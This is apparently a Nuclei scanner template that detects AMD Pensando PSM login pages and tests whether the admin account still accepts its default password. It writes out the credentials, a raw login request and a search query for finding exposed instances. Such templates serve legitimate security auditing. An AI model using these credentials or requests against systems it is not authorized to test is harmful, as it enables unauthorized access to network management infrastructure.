pensando-default-login: AMD Pensando PSM - Default Login

id: pensando-default-login

info:
  name: AMD Pensando PSM - Default Login
  author: tpierru
  severity: high
  description: |
    The AMD Pensando Policy and Services Manager used a default password for the admin account.This allowed instances to be accessed using the default credentials.
  reference:
    - https://www.amd.com/en/solutions/data-center/networking.html
    - https://arubanetworking.hpe.com/techdocs/Pensando/AMD_Pensando_PSM_for_DSS_Guide-1.72.1-T.pdf
  metadata:
    verified: true
    fofa-query: icon_hash="1907840597"
  tags: pensando,default-login,vuln

variables:
  username: 'admin'
  password: 'Pensando0$'

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body,"<title>AMD Pensando PSM</title>")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        POST /v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}","tenant":"default"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"name\":\"admin\"")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4a0a00473045022059b9ba10a33f6c65e16c81346753c7d4959007018e010bb1c51e13fec1d51341022100e3dbe6209b2004d04ea7e700f2b3bf4ab27c804107ec9c5c4447d80e6dc624a0:922c64590222798bb761d5b6d8e72950